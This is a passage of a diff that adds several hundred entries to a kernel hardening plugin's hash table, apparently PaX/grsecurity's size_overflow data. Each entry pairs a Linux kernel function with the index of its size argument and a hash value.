++_001970_hash read_file_xmit 3 21487 _001970_hash NULL
++_001971_hash read_from_oldmem 2 3337 _001971_hash NULL
++_001972_hash read_oldmem 3 55658 _001972_hash NULL
++_001973_hash regmap_name_read_file 3 39379 _001973_hash NULL
++_001974_hash repair_io_failure 4 4815 _001974_hash NULL
++_001975_hash request_key_and_link 4 42693 _001975_hash NULL
++_001976_hash res_counter_read 4 33499 _001976_hash NULL
++_001977_hash retry_count_read 3 52129 _001977_hash NULL
++_001978_hash rs_sta_dbgfs_rate_scale_data_read 3 47165 _001978_hash NULL
++_001979_hash rs_sta_dbgfs_scale_table_read 3 40262 _001979_hash NULL
++_001980_hash rs_sta_dbgfs_stats_table_read 3 56573 _001980_hash NULL
++_001981_hash rts_threshold_read 3 44384 _001981_hash NULL
++_001982_hash rx_dropped_read 3 44799 _001982_hash NULL
++_001983_hash rx_fcs_err_read 3 62844 _001983_hash NULL
++_001984_hash rx_hdr_overflow_read 3 64407 _001984_hash NULL
++_001985_hash rx_hw_stuck_read 3 57179 _001985_hash NULL
++_001986_hash rx_out_of_mem_read 3 10157 _001986_hash NULL
++_001987_hash rx_path_reset_read 3 23801 _001987_hash NULL
++_001988_hash rxpipe_beacon_buffer_thres_host_int_trig_rx_data_read 3 55106 _001988_hash NULL
++_001989_hash rxpipe_descr_host_int_trig_rx_data_read 3 22001 _003089_hash NULL nohasharray
++_001990_hash rxpipe_missed_beacon_host_int_trig_rx_data_read 3 63405 _001990_hash NULL
++_001991_hash rxpipe_rx_prep_beacon_drop_read 3 2403 _001991_hash NULL
++_001992_hash rxpipe_tx_xfr_host_int_trig_rx_data_read 3 35538 _001992_hash NULL
++_001993_hash rx_reset_counter_read 3 58001 _001993_hash NULL
++_001994_hash rx_xfr_hint_trig_read 3 40283 _001994_hash NULL
++_001995_hash s5m_bulk_write 3 4833 _001995_hash NULL
++_001996_hash scrub_setup_recheck_block 3-4 56245 _001996_hash NULL
++_001998_hash scsi_adjust_queue_depth 3 12802 _001998_hash NULL
++_001999_hash selinux_inode_notifysecctx 3 36896 _001999_hash NULL
++_002000_hash sel_read_avc_cache_threshold 3 33942 _002000_hash NULL
++_002001_hash sel_read_avc_hash_stats 3 1984 _002001_hash NULL
++_002002_hash sel_read_bool 3 24236 _002002_hash NULL
++_002003_hash sel_read_checkreqprot 3 33068 _002003_hash NULL
++_002004_hash sel_read_class 3 12669 _002541_hash NULL nohasharray
++_002005_hash sel_read_enforce 3 2828 _002005_hash NULL
++_002006_hash sel_read_handle_status 3 56139 _002006_hash NULL
++_002007_hash sel_read_handle_unknown 3 57933 _002007_hash NULL
++_002008_hash sel_read_initcon 3 32362 _002008_hash NULL
++_002009_hash sel_read_mls 3 25369 _002009_hash NULL
++_002010_hash sel_read_perm 3 42302 _002010_hash NULL
++_002011_hash sel_read_policy 3 55947 _002011_hash NULL
++_002012_hash sel_read_policycap 3 28544 _002012_hash NULL
++_002013_hash sel_read_policyvers 3 55 _003257_hash NULL nohasharray
++_002014_hash send_msg 4 37323 _002014_hash NULL
++_002015_hash send_packet 4 52960 _002015_hash NULL
++_002016_hash short_retry_limit_read 3 4687 _002016_hash NULL
++_002017_hash simple_attr_read 3 24738 _002017_hash NULL
++_002018_hash simple_transaction_read 3 17076 _002018_hash NULL
++_002019_hash skb_copy_datagram_const_iovec 2-5-4 48102 _002019_hash NULL
++_002022_hash skb_copy_datagram_iovec 2-4 5806 _002022_hash NULL
++_002024_hash smk_read_ambient 3 61220 _002024_hash NULL
++_002025_hash smk_read_direct 3 15803 _002025_hash NULL
++_002026_hash smk_read_doi 3 30813 _002026_hash NULL
++_002027_hash smk_read_logging 3 37804 _002027_hash NULL
++_002028_hash smk_read_onlycap 3 3855 _002028_hash NULL
++_002029_hash snapshot_read 3 22601 _002029_hash NULL
++_002030_hash snd_cs4281_BA0_read 5 6847 _002030_hash NULL
++_002031_hash snd_cs4281_BA1_read 5 20323 _002031_hash NULL
++_002032_hash snd_cs46xx_io_read 5 45734 _002032_hash NULL
++_002033_hash snd_gus_dram_read 4 56686 _002033_hash NULL
++_002034_hash snd_pcm_oss_read 3 28317 _002034_hash NULL
++_002035_hash snd_rme32_capture_copy 5 39653 _002035_hash NULL
++_002036_hash snd_rme96_capture_copy 5 58484 _002036_hash NULL
++_002037_hash snd_soc_hw_bulk_write_raw 4 14245 _002037_hash NULL
++_002038_hash spi_show_regs 3 6911 _002038_hash &_001908_hash
++_002039_hash sta_agg_status_read 3 14058 _002039_hash NULL
++_002040_hash sta_connected_time_read 3 17435 _002040_hash NULL
++_002041_hash sta_flags_read 3 56710 _002041_hash NULL
++_002042_hash sta_ht_capa_read 3 10366 _002042_hash NULL
++_002043_hash sta_last_seq_ctrl_read 3 19106 _002043_hash NULL
++_002044_hash sta_num_ps_buf_frames_read 3 1488 _002044_hash NULL
++_002045_hash st_read 3 51251 _002045_hash NULL
++_002046_hash supply_map_read_file 3 10608 _002046_hash NULL
++_002047_hash sysfs_read_file 3 42113 _002047_hash NULL
++_002048_hash sys_lgetxattr 4 45531 _002048_hash NULL
++_002049_hash sys_preadv 3 17100 _002049_hash NULL
++_002050_hash sys_pwritev 3 41722 _002050_hash NULL
++_002051_hash sys_readv 3 50664 _002051_hash NULL
++_002052_hash sys_rt_sigpending 2 24961 _002052_hash NULL
++_002053_hash sys_writev 3 28384 _002053_hash NULL
++_002054_hash test_iso_queue 5 62534 _002054_hash NULL
++_002055_hash ts_read 3 44687 _002055_hash NULL
++_002056_hash TSS_authhmac 3 12839 _002056_hash NULL
++_002057_hash TSS_checkhmac1 5 31429 _002057_hash NULL
++_002058_hash TSS_checkhmac2 5-7 40520 _002058_hash NULL
++_002060_hash tt3650_ci_msg_locked 4 8013 _002060_hash NULL
++_002061_hash tun_sendmsg 4 10337 _002061_hash NULL
++_002062_hash tx_internal_desc_overflow_read 3 47300 _002062_hash NULL
++_002063_hash tx_queue_len_read 3 1463 _002063_hash NULL
++_002064_hash tx_queue_status_read 3 44978 _002064_hash NULL
++_002065_hash ubi_io_write_data 4-5 40305 _002065_hash NULL
++_002067_hash uhci_debug_read 3 5911 _002067_hash NULL
++_002068_hash unix_stream_recvmsg 4 35210 _002068_hash NULL
++_002069_hash uvc_debugfs_stats_read 3 56651 _002069_hash NULL
++_002070_hash vhost_add_used_and_signal_n 4 8038 _002070_hash NULL
++_002071_hash vifs_state_read 3 33762 _002071_hash NULL
++_002072_hash vmbus_open 2-3 12154 _002072_hash NULL
++_002074_hash waiters_read 3 40902 _002074_hash NULL
++_002075_hash wep_addr_key_count_read 3 20174 _002075_hash NULL
++_002076_hash wep_decrypt_fail_read 3 58567 _002076_hash NULL
++_002077_hash wep_default_key_count_read 3 43035 _002077_hash NULL
++_002078_hash wep_interrupt_read 3 41492 _002078_hash NULL
++_002079_hash wep_key_not_found_read 3 13377 _002079_hash &_000915_hash
++_002080_hash wep_packets_read 3 18751 _002080_hash NULL
++_002081_hash wl1271_format_buffer 2 20834 _002081_hash NULL
++_002082_hash wm8994_bulk_write 3 13615 _002082_hash NULL
++_002083_hash wusb_prf_256 7 29203 _002083_hash NULL
++_002084_hash wusb_prf_64 7 51065 _002084_hash NULL
++_002085_hash xfs_buf_read_uncached 4 27519 _002085_hash NULL
++_002086_hash xfs_iext_add 3 41422 _002086_hash NULL
++_002087_hash xfs_iext_remove_direct 3 40744 _002087_hash NULL
++_002088_hash xfs_trans_get_efd 3 51148 _002088_hash NULL
++_002089_hash xfs_trans_get_efi 2 7898 _002089_hash NULL
++_002090_hash xlog_get_bp 2 23229 _002090_hash NULL
++_002091_hash xz_dec_init 2 29029 _002091_hash NULL
++_002092_hash aac_change_queue_depth 2 825 _002092_hash NULL
++_002093_hash agp_allocate_memory_wrap 1 16576 _002093_hash NULL
++_002094_hash arcmsr_adjust_disk_queue_depth 2 16756 _002094_hash NULL
++_002095_hash atalk_recvmsg 4 22053 _002095_hash NULL
++_002097_hash atomic_read_file 3 16227 _002097_hash NULL
++_002098_hash ax25_recvmsg 4 64441 _002098_hash NULL
++_002099_hash beacon_interval_read 3 7091 _002099_hash NULL
++_002100_hash btrfs_init_new_buffer 4 55761 _002100_hash NULL
++_002101_hash btrfs_mksubvol 3 39479 _002101_hash NULL
++_002102_hash bt_sock_recvmsg 4 12316 _002102_hash NULL
++_002103_hash bt_sock_stream_recvmsg 4 52518 _002103_hash NULL
++_002104_hash caif_seqpkt_recvmsg 4 32241 _002104_hash NULL
++_002105_hash cpu_type_read 3 36540 _002105_hash NULL
++_002106_hash cx18_read 3 23699 _002106_hash NULL
++_002107_hash dccp_recvmsg 4 16056 _002107_hash NULL
++_002108_hash depth_read 3 31112 _002108_hash NULL
++_002109_hash dfs_global_file_read 3 7787 _002109_hash NULL
++_002110_hash dgram_recvmsg 4 23104 _002110_hash NULL
++_002111_hash dma_skb_copy_datagram_iovec 3-5 21516 _002111_hash NULL
++_002113_hash dtim_interval_read 3 654 _002113_hash NULL
++_002114_hash dynamic_ps_timeout_read 3 10110 _002114_hash NULL
++_002115_hash enable_read 3 2117 _002115_hash NULL
++_002116_hash exofs_read_kern 6 39921 _002116_hash &_001885_hash
++_002117_hash fc_change_queue_depth 2 36841 _002117_hash NULL
++_002118_hash forced_ps_read 3 31685 _002118_hash NULL
++_002119_hash frequency_read 3 64031 _003106_hash NULL nohasharray
++_002120_hash get_alua_req 3 4166 _002120_hash NULL
++_002121_hash get_rdac_req 3 45882 _002121_hash NULL
++_002122_hash hci_sock_recvmsg 4 7072 _002122_hash NULL
++_002123_hash hpsa_change_queue_depth 2 15449 _002123_hash NULL
++_002124_hash hptiop_adjust_disk_queue_depth 2 20122 _002124_hash NULL
++_002125_hash ide_queue_pc_tail 5 11673 _002125_hash NULL
++_002126_hash ide_raw_taskfile 4 42355 _002126_hash NULL
++_002127_hash idetape_queue_rw_tail 3 29562 _002127_hash NULL
++_002128_hash ieee80211_if_read_aid 3 9705 _002128_hash NULL
++_002129_hash ieee80211_if_read_auto_open_plinks 3 38268 _003504_hash NULL nohasharray
++_002130_hash ieee80211_if_read_ave_beacon 3 64924 _002130_hash NULL
++_002131_hash ieee80211_if_read_bssid 3 35161 _002131_hash NULL
++_002132_hash ieee80211_if_read_channel_type 3 23884 _002132_hash NULL
++_002133_hash ieee80211_if_read_dot11MeshConfirmTimeout 3 60670 _002133_hash NULL
++_002134_hash ieee80211_if_read_dot11MeshGateAnnouncementProtocol 3 14486 _002134_hash NULL
++_002135_hash ieee80211_if_read_dot11MeshHoldingTimeout 3 47356 _002135_hash NULL
++_002136_hash ieee80211_if_read_dot11MeshHWMPactivePathTimeout 3 7368 _002136_hash NULL
++_002137_hash ieee80211_if_read_dot11MeshHWMPmaxPREQretries 3 59829 _002137_hash NULL
++_002138_hash ieee80211_if_read_dot11MeshHWMPnetDiameterTraversalTime 3 1589 _002138_hash NULL
++_002139_hash ieee80211_if_read_dot11MeshHWMPperrMinInterval 3 17346 _002139_hash NULL
++_002140_hash ieee80211_if_read_dot11MeshHWMPpreqMinInterval 3 24208 _002140_hash NULL
++_002141_hash ieee80211_if_read_dot11MeshHWMPRannInterval 3 2249 _002141_hash NULL
++_002142_hash ieee80211_if_read_dot11MeshHWMPRootMode 3 51441 _002142_hash NULL
++_002143_hash ieee80211_if_read_dot11MeshMaxPeerLinks 3 23878 _002143_hash NULL
++_002144_hash ieee80211_if_read_dot11MeshMaxRetries 3 12756 _002144_hash NULL
++_002145_hash ieee80211_if_read_dot11MeshRetryTimeout 3 52168 _002145_hash NULL
++_002146_hash ieee80211_if_read_dot11MeshTTL 3 58307 _002146_hash NULL
++_002147_hash ieee80211_if_read_dropped_frames_congestion 3 32603 _002147_hash NULL
++_002148_hash ieee80211_if_read_dropped_frames_no_route 3 33383 _002148_hash NULL
++_002149_hash ieee80211_if_read_dropped_frames_ttl 3 44500 _002149_hash NULL
++_002150_hash ieee80211_if_read_drop_unencrypted 3 37053 _002150_hash NULL
++_002151_hash ieee80211_if_read_dtim_count 3 38419 _002151_hash NULL
++_002152_hash ieee80211_if_read_element_ttl 3 18869 _002152_hash NULL
++_002153_hash ieee80211_if_read_estab_plinks 3 32533 _002153_hash NULL
++_002154_hash ieee80211_if_read_flags 3 57470 _002389_hash NULL nohasharray
++_002155_hash ieee80211_if_read_fwded_frames 3 36520 _002155_hash NULL
++_002156_hash ieee80211_if_read_fwded_mcast 3 39571 _002156_hash &_000151_hash
++_002157_hash ieee80211_if_read_fwded_unicast 3 59740 _002859_hash NULL nohasharray
++_002158_hash ieee80211_if_read_last_beacon 3 31257 _002158_hash NULL
++_002159_hash ieee80211_if_read_min_discovery_timeout 3 13946 _002159_hash NULL
++_002160_hash ieee80211_if_read_num_buffered_multicast 3 12716 _002160_hash NULL
++_002161_hash ieee80211_if_read_num_sta_authorized 3 56177 _002161_hash NULL
++_002162_hash ieee80211_if_read_num_sta_ps 3 34722 _002162_hash NULL
++_002163_hash ieee80211_if_read_path_refresh_time 3 25545 _002163_hash NULL
++_002164_hash ieee80211_if_read_peer 3 45233 _002164_hash NULL
++_002165_hash ieee80211_if_read_rc_rateidx_mask_2ghz 3 61570 _002165_hash NULL
++_002166_hash ieee80211_if_read_rc_rateidx_mask_5ghz 3 27183 _002166_hash NULL
++_002167_hash ieee80211_if_read_rc_rateidx_mcs_mask_2ghz 3 37675 _002167_hash NULL
++_002168_hash ieee80211_if_read_rc_rateidx_mcs_mask_5ghz 3 44423 _002168_hash NULL
++_002169_hash ieee80211_if_read_rssi_threshold 3 49260 _002169_hash NULL
++_002170_hash ieee80211_if_read_smps 3 27416 _002170_hash NULL
++_002171_hash ieee80211_if_read_state 3 9813 _002280_hash NULL nohasharray
++_002172_hash ieee80211_if_read_tkip_mic_test 3 19565 _002172_hash NULL
++_002173_hash ieee80211_if_read_tsf 3 16420 _002173_hash NULL
++_002174_hash ieee80211_if_read_uapsd_max_sp_len 3 15067 _002174_hash NULL
++_002175_hash ieee80211_if_read_uapsd_queues 3 55150 _002175_hash NULL
++_002176_hash ieee80211_rx_mgmt_beacon 3 24430 _002176_hash NULL
++_002177_hash ieee80211_rx_mgmt_probe_resp 3 6918 _002177_hash NULL
++_002178_hash ima_show_htable_violations 3 10619 _002178_hash NULL
++_002179_hash ima_show_measurements_count 3 23536 _002179_hash NULL
++_002180_hash insert_one_name 7 61668 _002180_hash NULL
++_002181_hash ipr_change_queue_depth 2 6431 _002181_hash NULL
++_002182_hash ip_recv_error 3 23109 _002182_hash NULL
++_002183_hash ipv6_recv_error 3 56347 _002183_hash NULL
++_002184_hash ipv6_recv_rxpmtu 3 7142 _002184_hash NULL
++_002185_hash ipx_recvmsg 4 44366 _002185_hash NULL
++_002186_hash irda_recvmsg_dgram 4 32631 _002186_hash NULL
++_002187_hash iscsi_change_queue_depth 2 23416 _002187_hash NULL
++_002188_hash ivtv_read_pos 3 34400 _002188_hash &_000303_hash
++_002189_hash key_conf_hw_key_idx_read 3 25003 _002189_hash NULL
++_002190_hash key_conf_keyidx_read 3 42443 _002190_hash NULL
++_002191_hash key_conf_keylen_read 3 49758 _002191_hash NULL
++_002192_hash key_flags_read 3 25931 _002192_hash NULL
++_002193_hash key_ifindex_read 3 31411 _002193_hash NULL
++_002194_hash key_tx_rx_count_read 3 44742 _002194_hash NULL
++_002195_hash l2cap_sock_sendmsg 4 63427 _002195_hash NULL
++_002196_hash l2tp_ip_recvmsg 4 22681 _002196_hash NULL
++_002197_hash llc_ui_recvmsg 4 3826 _002197_hash NULL
++_002198_hash lpfc_change_queue_depth 2 25905 _002198_hash NULL
++_002199_hash macvtap_do_read 4 36555 _002199_hash &_001832_hash
++_002200_hash megaraid_change_queue_depth 2 64815 _002200_hash NULL
++_002201_hash megasas_change_queue_depth 2 32747 _002201_hash NULL
++_002202_hash mptscsih_change_queue_depth 2 26036 _002202_hash NULL
++_002203_hash NCR_700_change_queue_depth 2 31742 _002203_hash NULL
++_002204_hash netlink_recvmsg 4 61600 _002204_hash NULL
++_002205_hash nfsctl_transaction_read 3 48250 _002205_hash NULL
++_002206_hash nfs_map_group_to_gid 3 15892 _002206_hash NULL
++_002207_hash nfs_map_name_to_uid 3 51132 _002207_hash NULL
++_002208_hash nr_recvmsg 4 12649 _002208_hash NULL
++_002209_hash osd_req_list_collection_objects 5 36664 _002209_hash NULL
++_002210_hash osd_req_list_partition_objects 5 56464 _002210_hash NULL
++_002212_hash packet_recv_error 3 16669 _002212_hash NULL
++_002213_hash packet_recvmsg 4 47700 _002213_hash NULL
++_002214_hash pep_recvmsg 4 19402 _002214_hash NULL
++_002215_hash pfkey_recvmsg 4 53604 _002215_hash NULL
++_002216_hash ping_recvmsg 4 25597 _002216_hash NULL
++_002217_hash pmcraid_change_queue_depth 2 9116 _002217_hash NULL
++_002218_hash pn_recvmsg 4 30887 _002218_hash NULL
++_002219_hash pointer_size_read 3 51863 _002219_hash NULL
++_002220_hash power_read 3 15939 _002220_hash NULL
++_002221_hash pppoe_recvmsg 4 15073 _002221_hash NULL
++_002222_hash pppol2tp_recvmsg 4 57742 _003858_hash NULL nohasharray
++_002223_hash qla2x00_adjust_sdev_qdepth_up 2 20097 _002223_hash NULL
++_002224_hash qla2x00_change_queue_depth 2 24742 _002224_hash NULL
++_002225_hash raw_recvmsg 4 52529 _002225_hash NULL
++_002226_hash rawsock_recvmsg 4 12144 _002226_hash NULL
++_002227_hash rawv6_recvmsg 4 30265 _002227_hash NULL
++_002228_hash reada_add_block 2 54247 _002228_hash NULL
++_002229_hash readahead_tree_block 3 36285 _002229_hash NULL
++_002230_hash reada_tree_block_flagged 3 18402 _002230_hash NULL
++_002231_hash read_tree_block 3 841 _002231_hash NULL
++_002232_hash recover_peb 6-7 29238 _002232_hash NULL
++_002234_hash recv_msg 4 48709 _002234_hash NULL
++_002235_hash recv_stream 4 30138 _002235_hash NULL
++_002236_hash _req_append_segment 2 41031 _002236_hash NULL
++_002237_hash request_key_async 4 6990 _002237_hash NULL
++_002238_hash request_key_async_with_auxdata 4 46624 _002238_hash NULL
++_002239_hash request_key_with_auxdata 4 24515 _002239_hash NULL
++_002240_hash rose_recvmsg 4 2368 _002240_hash NULL
++_002241_hash rxrpc_recvmsg 4 26233 _002241_hash NULL
++_002242_hash rx_streaming_always_read 3 49401 _002242_hash NULL
++_002243_hash rx_streaming_interval_read 3 55291 _002243_hash NULL
++_002244_hash sas_change_queue_depth 2 18555 _002244_hash NULL
++_002245_hash scsi_activate_tcq 2 42640 _002245_hash NULL
++_002246_hash scsi_deactivate_tcq 2 47086 _002246_hash NULL
++_002247_hash scsi_execute 5 33596 _002247_hash NULL
++_002248_hash _scsih_adjust_queue_depth 2 1083 _002248_hash NULL
++_002249_hash scsi_init_shared_tag_map 2 59812 _002249_hash NULL
++_002250_hash scsi_track_queue_full 2 44239 _002250_hash NULL
++_002251_hash sctp_recvmsg 4 23265 _002251_hash NULL
++_002252_hash send_stream 4 3397 _002252_hash NULL
++_002253_hash skb_copy_and_csum_datagram_iovec 2 24466 _002253_hash NULL
++_002255_hash snd_gf1_mem_proc_dump 5 16926 _003922_hash NULL nohasharray
++_002256_hash split_scan_timeout_read 3 20029 _002256_hash NULL
++_002257_hash sta_dev_read 3 14782 _002257_hash NULL
++_002258_hash sta_inactive_ms_read 3 25690 _002258_hash NULL
++_002259_hash sta_last_signal_read 3 31818 _002259_hash NULL
++_002260_hash stats_dot11ACKFailureCount_read 3 45558 _002260_hash NULL
++_002261_hash stats_dot11FCSErrorCount_read 3 28154 _002261_hash NULL
++_002262_hash stats_dot11RTSFailureCount_read 3 43948 _002262_hash NULL
++_002263_hash stats_dot11RTSSuccessCount_read 3 33065 _002263_hash NULL
++_002264_hash storvsc_connect_to_vsp 2 22 _002264_hash NULL
++_002265_hash suspend_dtim_interval_read 3 64971 _002265_hash NULL
++_002266_hash sys_msgrcv 3 959 _002266_hash NULL
++_002267_hash tcm_loop_change_queue_depth 2 42454 _002267_hash NULL
++_002268_hash tcp_copy_to_iovec 3 28344 _002268_hash NULL
++_002269_hash tcp_recvmsg 4 31238 _002269_hash NULL
++_002270_hash timeout_read 3 47915 _002270_hash NULL
++_002271_hash total_ps_buffered_read 3 16365 _002271_hash NULL
++_002272_hash tun_put_user 4 59849 _002272_hash NULL
++_002273_hash twa_change_queue_depth 2 48808 _002273_hash NULL
++_002274_hash tw_change_queue_depth 2 11116 _002274_hash NULL
++_002275_hash twl_change_queue_depth 2 41342 _002275_hash NULL
++_002276_hash ubi_eba_write_leb 5-6 19826 _002276_hash NULL
++_002278_hash ubi_eba_write_leb_st 5 27896 _002278_hash NULL
++_002279_hash udp_recvmsg 4 42558 _002279_hash NULL
++_002280_hash udpv6_recvmsg 4 9813 _002280_hash &_002171_hash
++_002281_hash ulong_read_file 3 42304 _002281_hash &_000511_hash
++_002282_hash unix_dgram_recvmsg 4 14952 _002282_hash NULL
++_002283_hash user_power_read 3 39414 _002283_hash NULL
++_002284_hash vcc_recvmsg 4 37198 _002284_hash NULL
++_002285_hash wep_iv_read 3 54744 _002285_hash NULL
++_002286_hash x25_recvmsg 4 42777 _002286_hash NULL
++_002287_hash xfs_iext_insert 3 18667 _003817_hash NULL nohasharray
++_002288_hash xfs_iext_remove 3 50909 _002288_hash NULL
++_002289_hash xlog_find_verify_log_record 2 18870 _002289_hash NULL
++_002290_hash btrfs_alloc_free_block 3 29982 _002290_hash NULL
++_002291_hash cx18_read_pos 3 4683 _002291_hash NULL
++_002292_hash l2cap_sock_recvmsg 4 59886 _002292_hash NULL
++_002293_hash osd_req_list_dev_partitions 4 60027 _002293_hash NULL
++_002294_hash osd_req_list_partition_collections 5 38223 _002294_hash NULL
++_002295_hash osst_do_scsi 4 44410 _002295_hash NULL
++_002296_hash qla2x00_handle_queue_full 2 24365 _002296_hash NULL
++_002297_hash rfcomm_sock_recvmsg 4 22227 _002297_hash NULL
++_002298_hash scsi_execute_req 5 42088 _002298_hash NULL
++_002299_hash _scsih_change_queue_depth 2 26230 _002299_hash NULL
++_002300_hash spi_execute 5 28736 _002300_hash NULL
++_002301_hash submit_inquiry 3 42108 _002301_hash NULL
++_002302_hash tcp_dma_try_early_copy 3 37651 _002302_hash NULL
++_002303_hash tun_do_read 4 50800 _002303_hash NULL
++_002304_hash ubi_eba_atomic_leb_change 5 13041 _002304_hash NULL
++_002305_hash ubi_leb_write 4-5 41691 _002305_hash NULL
++_002307_hash unix_seqpacket_recvmsg 4 23062 _003542_hash NULL nohasharray
++_002308_hash write_leb 5 36957 _002308_hash NULL
++_002309_hash ch_do_scsi 4 31171 _002309_hash NULL
++_002310_hash dbg_leb_write 4-5 20478 _002310_hash NULL
++_002312_hash scsi_mode_sense 5 16835 _002312_hash NULL
++_002313_hash scsi_vpd_inquiry 4 30040 _002313_hash NULL
++_002314_hash ses_recv_diag 4 47143 _002314_hash &_000673_hash
++_002315_hash ses_send_diag 4 64527 _002315_hash NULL
++_002316_hash spi_dv_device_echo_buffer 2-3 39846 _002316_hash NULL
++_002318_hash ubifs_leb_write 4-5 61226 _002318_hash NULL
++_002320_hash ubi_leb_change 4 14899 _002320_hash NULL
++_002321_hash ubi_write 4-5 30809 _002321_hash NULL
++_002322_hash dbg_leb_change 4 19969 _002322_hash NULL
++_002323_hash gluebi_write 3 27905 _002323_hash NULL
++_002324_hash scsi_get_vpd_page 4 51951 _002324_hash NULL
++_002325_hash sd_do_mode_sense 5 11507 _002325_hash NULL
++_002326_hash ubifs_leb_change 4 22399 _002436_hash NULL nohasharray
++_002327_hash ubifs_write_node 5 15088 _002327_hash NULL
++_002328_hash fixup_leb 3 43256 _002328_hash NULL
++_002329_hash recover_head 3 17904 _002329_hash NULL
++_002330_hash alloc_cpu_rmap 1 65363 _002330_hash NULL
++_002331_hash alloc_ebda_hpc 1-2 50046 _002331_hash NULL
++_002333_hash alloc_sched_domains 1 28972 _002333_hash NULL
++_002334_hash amthi_read 4 45831 _002334_hash NULL
++_002335_hash bcm_char_read 3 31750 _002335_hash NULL
++_002336_hash BcmCopySection 5 2035 _002336_hash NULL
++_002337_hash buffer_from_user 3 51826 _002337_hash NULL
++_002338_hash buffer_to_user 3 35439 _002338_hash NULL
++_002339_hash c4iw_init_resource_fifo 3 48090 _002339_hash NULL
++_002340_hash c4iw_init_resource_fifo_random 3 25547 _002340_hash NULL
++_002341_hash card_send_command 3 40757 _002341_hash NULL
++_002342_hash chd_dec_fetch_cdata 3 50926 _002342_hash NULL
++_002343_hash crystalhd_create_dio_pool 2 3427 _002343_hash NULL
++_002344_hash crystalhd_user_data 3 18407 _002344_hash NULL
++_002345_hash cxio_init_resource_fifo 3 28764 _002345_hash NULL
++_002346_hash cxio_init_resource_fifo_random 3 47151 _002346_hash NULL
++_002347_hash do_pages_stat 2 4437 _002347_hash NULL
++_002348_hash do_read_log_to_user 4 3236 _002348_hash NULL
++_002349_hash do_write_log_from_user 3 39362 _002349_hash NULL
++_002350_hash dt3155_read 3 59226 _002350_hash NULL
++_002351_hash easycap_alsa_vmalloc 2 14426 _002351_hash NULL
++_002352_hash evm_read_key 3 54674 _002352_hash NULL
++_002353_hash evm_write_key 3 27715 _002353_hash NULL
++_002354_hash fir16_create 3 5574 _002354_hash NULL
++_002355_hash iio_allocate_device 1 18821 _002355_hash NULL
++_002356_hash __iio_allocate_kfifo 2-3 55738 _002356_hash NULL
++_002358_hash __iio_allocate_sw_ring_buffer 3 4843 _002358_hash NULL
++_002359_hash iio_debugfs_read_reg 3 60908 _002359_hash NULL
++_002360_hash iio_debugfs_write_reg 3 22742 _002360_hash NULL
++_002361_hash iio_event_chrdev_read 3 54757 _002361_hash NULL
++_002362_hash iio_read_first_n_kfifo 2 57910 _002362_hash NULL
++_002363_hash iio_read_first_n_sw_rb 2 51911 _002363_hash NULL
++_002364_hash ioapic_setup_resources 1 35255 _002364_hash NULL
++_002365_hash keymap_store 4 45406 _002365_hash NULL
++_002366_hash kzalloc_node 1 24352 _002366_hash NULL
++_002367_hash line6_alloc_sysex_buffer 4 28225 _002367_hash NULL
++_002368_hash line6_dumpreq_initbuf 3 53123 _002368_hash NULL
++_002369_hash line6_midibuf_init 2 52425 _002369_hash NULL
++_002370_hash lirc_write 3 20604 _002370_hash NULL
++_002371_hash _malloc 1 54077 _002371_hash NULL
++_002372_hash mei_read 3 6507 _002372_hash NULL
++_002373_hash mei_write 3 4005 _002373_hash NULL
++_002374_hash mempool_create_node 1 44715 _002374_hash NULL
++_002375_hash msg_set 3 51725 _002375_hash NULL
++_002376_hash newpart 6 47485 _002376_hash NULL
++_002377_hash OS_kmalloc 1 36909 _002377_hash NULL
++_002378_hash pcpu_alloc_bootmem 2 62074 _002378_hash NULL
++_002379_hash pcpu_get_vm_areas 3 50085 _002379_hash NULL
++_002380_hash resource_from_user 3 30341 _002380_hash NULL
++_002381_hash sca3000_read_data 4 57064 _002381_hash NULL
++_002382_hash sca3000_read_first_n_hw_rb 2 11479 _002382_hash NULL
++_002383_hash send_midi_async 3 57463 _002383_hash NULL
++_002384_hash sep_create_dcb_dmatables_context 6 37551 _002384_hash NULL
++_002385_hash sep_create_dcb_dmatables_context_kernel 6 49728 _002385_hash NULL
++_002386_hash sep_create_msgarea_context 4 33829 _002386_hash NULL
++_002387_hash sep_lli_table_secure_dma 2-3 64042 _002387_hash NULL
++_002389_hash sep_lock_user_pages 2-3 57470 _002389_hash &_002154_hash
++_002391_hash sep_prepare_input_output_dma_table_in_dcb 4-5-2-3 63087 _002391_hash NULL
++_002393_hash sep_read 3 17161 _002393_hash NULL
++_002394_hash TransmitTcb 4 12989 _002394_hash NULL
++_002395_hash ValidateDSDParamsChecksum 3 63654 _002395_hash NULL
++_002396_hash Wb35Reg_BurstWrite 4 62327 _002396_hash NULL
++_002397_hash __alloc_bootmem_low_node 2 25726 _002397_hash &_001499_hash
++_002398_hash __alloc_bootmem_node 2 1992 _002398_hash NULL
++_002399_hash alloc_irq_cpu_rmap 1 28459 _002399_hash NULL
++_002400_hash alloc_ring 2-4 18278 _002400_hash NULL
++_002402_hash c4iw_init_resource 2-3 30393 _002402_hash NULL
++_002404_hash cxio_hal_init_resource 2-7-6 29771 _002404_hash &_000284_hash
++_002407_hash cxio_hal_init_rhdl_resource 1 25104 _002407_hash NULL
++_002408_hash disk_expand_part_tbl 2 30561 _002408_hash NULL
++_002409_hash InterfaceTransmitPacket 3 42058 _002409_hash NULL
++_002410_hash line6_dumpreq_init 3 34473 _002410_hash NULL
++_002411_hash mempool_create 1 29437 _002411_hash NULL
++_002412_hash pcpu_fc_alloc 2 11818 _002412_hash NULL
++_002413_hash pod_alloc_sysex_buffer 3 31651 _002413_hash NULL
++_002414_hash r8712_usbctrl_vendorreq 6 48489 _002414_hash NULL
++_002415_hash r871x_set_wpa_ie 3 7000 _002415_hash NULL
++_002416_hash sys_move_pages 2 42626 _002416_hash NULL
++_002417_hash variax_alloc_sysex_buffer 3 15237 _002417_hash NULL
++_002418_hash vme_user_write 3 15587 _002418_hash NULL
++_002419_hash add_partition 2 55588 _002419_hash NULL
++_002420_hash __alloc_bootmem_node_high 2 65076 _002420_hash NULL
++_002421_hash ceph_msgpool_init 3 33312 _002421_hash NULL
++_002423_hash mempool_create_kmalloc_pool 1 41650 _002423_hash NULL
++_002424_hash mempool_create_page_pool 1 30189 _002424_hash NULL
++_002425_hash mempool_create_slab_pool 1 62907 _002425_hash NULL
++_002426_hash variax_set_raw2 4 32374 _002426_hash NULL
++_002427_hash bioset_create 1 5580 _002427_hash NULL
++_002428_hash bioset_integrity_create 2 62708 _002428_hash NULL
++_002429_hash biovec_create_pools 2 9575 _002429_hash NULL
++_002430_hash i2o_pool_alloc 4 55485 _002430_hash NULL
++_002431_hash prison_create 1 43623 _002431_hash NULL
